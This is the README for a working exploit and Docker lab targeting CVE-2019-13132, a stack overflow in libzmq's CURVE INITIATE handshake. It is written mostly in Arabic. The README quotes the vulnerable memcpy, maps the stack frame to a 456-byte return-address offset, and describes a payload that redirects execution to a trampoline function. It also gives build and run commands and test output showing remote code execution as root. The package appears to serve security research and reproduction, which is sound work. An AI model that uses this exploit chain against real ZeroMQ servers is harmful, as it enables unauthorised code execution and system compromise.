
CVE-2019-13132 — libzmq CURVE INITIATE تجاوز سعة المكدس → تنفيذ تعليمات برمجية عن بعد. استغلال (exploit) عامل + مختبر Docker.
INITIATE الخاص بـ CURVE في libzmq يؤدي إلى RCE — معملاستغلال كامل يعمل من طرف إلى طرف لتطبيق RCE + معمل قابل لإعادة الإنتاج لـ CVE-2019-13132، وهو تجاوز سعة المخزن المؤقت للمكدس في معالج المصافحة INITIATE الخاص بـ CURVE في libzmq. المهاجم الذي يعرف المفتاح العام طويل الأمد للخادم (معامل عام حسب التصميم) يمكنه تجاوز سعة مخزن مؤقت ثابت الحجم في دالة process_initiate()، والكتابة فوق عنوان الإرجاع المحفوظ، وتوجيه التنفيذ إلى كود عشوائي.
بواسطة نيكولاس كراساس (@dinosn).
للاستخدام في المعمل فقط. تشتمل هذه الحزمة على libzmq 4.3.0 ضعيف عن قصد مع تعطيل الإجراءات الوقائية. لا تعرض المنفذ 5556 خارج المعمل. تم إصلاح الخلل في libzmq 4.3.2.
docker build --platform linux/amd64 -t cve-2019-13132-lab .
docker run --rm -it --platform linux/amd64 --privileged \
-p 5556:5556 cve-2019-13132-lab
# inside the container (calibration runs automatically):
/opt/zmq-curve-rce/exploit.py
cat /tmp/pwned-13132
اختبار دخان آلي (يقوم بتشغيل الاستغلال والتحقق من ملف الإثبات):
docker exec <container> /opt/zmq-curve-rce/run_lab_test.sh
.
├── README.md # هذا الملف
├── Dockerfile # معمل حاوية بأمر واحد
├── server-curve.c # مستمع CURVE REP — الهدف الضعيف
├── exploit.py # الاستغلال الكامل (HELLO → WELCOME → INITIATE كبير جدًا)
├── compute_offsets.py # استخراج الإزاحات وقت البناء → build_offsets.json
├── calibrate.sh # معايرة وقت التشغيل → profile.json
├── start_server.sh # بدء/إعادة تشغيل الهدف
├── run_lab_test.sh # اختبار دخان آلي من طرف إلى طرف
└── entrypoint.sh # نقطة الدخول لـ Docker (تعطيل ASLR + خادم + معايرة)
src/curve_server.cpp:284-336 (libzmq 4.3.0):
if (size < 257) { // only a MINIMUM check; no upper bound
errno = EPROTO; return -1;
}
const size_t clen = (size - 113) + crypto_box_BOXZEROBYTES;
uint8_t initiate_box[crypto_box_BOXZEROBYTES + 144 + 256]; // 416 bytes fixed
memcpy (initiate_box + crypto_box_BOXZEROBYTES, // dest: stack buf + 16
initiate + 113, // src: attacker data
clen - crypto_box_BOXZEROBYTES); // len: size - 113
initiate_box هو مخزن مؤقت بحجم 416 بايت مخصص على المكدس. تكتب memcpy size - 113 بايت في منطقة الحمولة ذات 400 بايت (الإزاحة 16..415). أي INITIATE بحجم size > 513 يتجاوز المخزن المؤقت إلى السجلات المحفوظة وعنوان الإرجاع.
يحدث التحقق من الكوكي قبل التجاوز، لذا يجب أن يحمل INITIATE كوكيًا أصليًا — ولكن يتم الحصول على الكوكي من رسالة WELCOME السابقة باستخدام المفتاح العام الطويل الأمد للخادم فقط.
تم تصميم بروتوكول CURVE بحيث يمتلك العملاء بالفعل المفتاح العام طويل الأمد للخادم (موجود في URI الاتصال أو التكوين). الاستغلال:
memcpy الضعيف.لا حاجة لبيانات اعتماد على مستوى التطبيق. لا تجاوز لمصادقة ZAP. يحدث التجاوز أثناء تبادل مفاتيح CURVE، قبل أن يرى التطبيق النظير على الإطلاق.
process_initiate() stack frame (compiled with -O0 -fno-stack-protector):
prologue: push r15; push r14; push r13; push r12; push rbp; push rbx
sub $0x628, %rsp
RSP + 0x490 ← memcpy destination (initiate_box + 16)
RSP + 0x628 ← saved rbx
RSP + 0x630 ← saved rbp
RSP + 0x638 ← saved r12
RSP + 0x640 ← saved r13
RSP + 0x648 ← saved r14
RSP + 0x650 ← saved r15
RSP + 0x658 ← RETURN ADDRESS offset = 0x658 - 0x490 = 456 bytes
يرسل الاستغلال 464 بايت من الحمولة: 456 بايت حشو (0x41) للوصول إلى عنوان الإرجاع، ثم 8 بايت تحتوي على عنوان دالة lab_trampoline().
بعد التجاوز، تفشل crypto_box_open() (البيانات المتجاوزة هي نص مشفر غير صالح). يسجل مسار الخطأ الفشل، ويضبط errno، ويعيد -1 — لكن مسار الخطأ يصل فقط إلى مواقع المكدس أسفل منطقة التجاوز (RSP+0xe0, RSP+0xf0, RSP+0x280)، لذا يعمل بشكل نظيف مع المكدس التالف.
تقوم خاتمة الدالة (add $0x628,%rsp; pop rbx-r15; ret) بتحميل السجلات المحفوظة التالفة (الآن 0x4141414141414141) ثم ret يحمل عنوان المنطاد الخاص بنا.
تستخدم lab_trampoline() استدعاءات نظام خام (بدون libc، بدون fork()) لكتابة ملف الإثبات:
void lab_trampoline(void) {
int fd = syscall(SYS_open, "/tmp/pwned-13132", O_WRONLY|O_CREAT|O_TRUNC, 0644);
syscall(SYS_write, fd, banner, ...);
// reads /proc/self/status (shows uid, pid, capabilities)
// reads /etc/hostname
syscall(SYS_exit_group, 0);
}
تُستخدم استدعاءات النظام الخام بدلاً من system() / fork() لأن process_initiate() تعمل على مؤشر ترابط الإدخال/الإخراج لـ libzmq — استدعاء fork() من مؤشر ترابط غير رئيسي في عملية متعددة الخيوط يؤدي إلى تعليق بسبب معالجات قفل pthread_atfork في glibc.
المفتاح العام طويل الأمد للخادم هو معامل عام في بروتوكول CurveZMQ — يجب أن يمتلكه العملاء للاتصال. يتم توزيعه عادةً في ملفات التكوين أو URIs أو آليات الاكتشاف. لا يتطلب الاستغلال أي مادة سرية.
يحتاج الاستغلال إلى قيمتين:
| الحقل | القيمة | المصدر |
|---|---|---|
trampoline_addr | 0x401206 | nm server-curve (ثنائي غير PIE، عنوان ثابت) |
offset_to_ret | 456 | تفكيك process_initiate (0x658 - 0x490) |
كلاهما مضمن في exploit.py كإعدادات افتراضية مدمجة لبناء معمل Docker (Debian 12، gcc 12، libzmq 4.3.0). لا حاجة لخطوة معايرة — فقط قم بتشغيل الاستغلال:
python3 exploit.py # uses built-in defaults
python3 exploit.py 127.0.0.1 5556 --profile profile.json # explicit profile file
python3 exploit.py --trampoline 0x401206 --offset 456 # manual override
أولوية الحل: إشارات --trampoline/--offset ← ملف --profile ← /opt/zmq-curve-rce/profile.json ← الإعدادات الافتراضية المدمجة.
ZMTP ليس لديه واجهة برمجة تطبيقات للاستكشاف. يكشف التحية فقط إصدار البروتوكول (3.x) والآلية (CURVE) — لا شيء عن بناء libzmq أو المترجم أو تخطيط الثنائي. لا يوجد معرف بناء يمكن الوصول إليه وقت التشغيل يسمح بتحديد الإزاحة تلقائيًا ضد أهداف غير معروفة.
يتم توفير نصوص calibrate.sh / compute_offsets.py لإعادة البناء على توزيعات مختلفة أو إصدارات gcc، حيث قد يتغير عنوان المنطاد. داخل معمل Docker تعمل تلقائيًا ولكنها غير مطلوبة.
$ /opt/zmq-curve-rce/run_lab_test.sh
=== CVE-2019-13132 lab test ===
[*] target: 127.0.0.1:5556
[*] trampoline @ 0x0000000000401206
[*] offset to ret: 456 bytes
[+] connected
[+] HELLO/WELCOME complete (S'=00b19cb8217ac149...)
[+] sent INITIATE (577 bytes, overflow = 464)
[+] waiting for process_initiate() → ret → trampoline → system()
[*] done — check /tmp/pwned-13132 on target
--- proof file contents ---
CVE-2019-13132: RCE achieved via CURVE INITIATE stack overflow
Name: server-curve
...
Uid: 0 0 0 0
...
hostname: caa76cbbc4a4
--- end ---
[PASS] RCE confirmed — /tmp/pwned-13132 created by the libzmq server process.
[PASS] CVE-2019-13132 lab — RCE chain verified end-to-end.